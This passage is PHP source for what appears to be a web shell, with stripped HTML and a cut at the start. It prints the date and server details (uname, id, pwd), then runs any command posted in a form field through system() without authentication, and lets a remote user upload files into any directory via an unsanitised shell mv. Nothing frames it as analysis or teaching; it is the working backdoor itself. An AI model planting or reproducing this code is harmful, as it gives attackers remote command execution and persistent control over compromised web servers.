"January","February","March","April","May","June","July","August", "September","October","November","December"); $tgl=date("d"); $bln=date("n"); $hr=date("w"); $thn=date("Y"); //echo("Tanggal hari ini: "); echo("
$hari[$hr], $tgl $bulan[$bln] $thn
"); print ""; print "

"; $currentWD = str_replace("\\\\","\\",$_POST['_cwd']); $currentCMD = str_replace("\\\\","\\",$_POST['_cmd']); $UName = `uname -a`; $SCWD = `pwd`; $UserID = `id`; if( $currentWD == "" ) { $currentWD = $SCWD; } print ""; print ""; print ""; print ""; print ""; print "
We are :".$_SERVER['REMOTE_HOST']." (".$_SERVER['REMOTE_ADDR'].")
Server is :".$_SERVER['SERVER_SIGNATURE']."
System type :$UName
Permissions :$UserID
"; print "

"; if( $_POST['_act'] == "List files!" ) { $currentCMD = "ls -al"; } print "
"; print ""; print ""; print ""; print ""; print ""; print ""; print "
Execute command :
Change directory :
Upload file :


"; $currentCMD = str_replace("\\\"","\"",$currentCMD); $currentCMD = str_replace("\\\'","\'",$currentCMD); if( $_POST['_act'] == "Upload!" ) { if( $_FILES['_upl']['error'] != UPLOAD_ERR_OK ) { print "
Error while uploading file!
"; } else { print "
";
        system("mv ".$_FILES['_upl']['tmp_name']." ".$currentWD."/".$_FILES['_upl']['name']." 2>&1");
        print "
File uploaded successfully!
"; } } else { print "\n\n\n
\n";
    $currentCMD = "cd ".$currentWD.";".$currentCMD;
    system($currentCMD);
    print "\n
\n\n\n

Command completed
"; } exit; ?>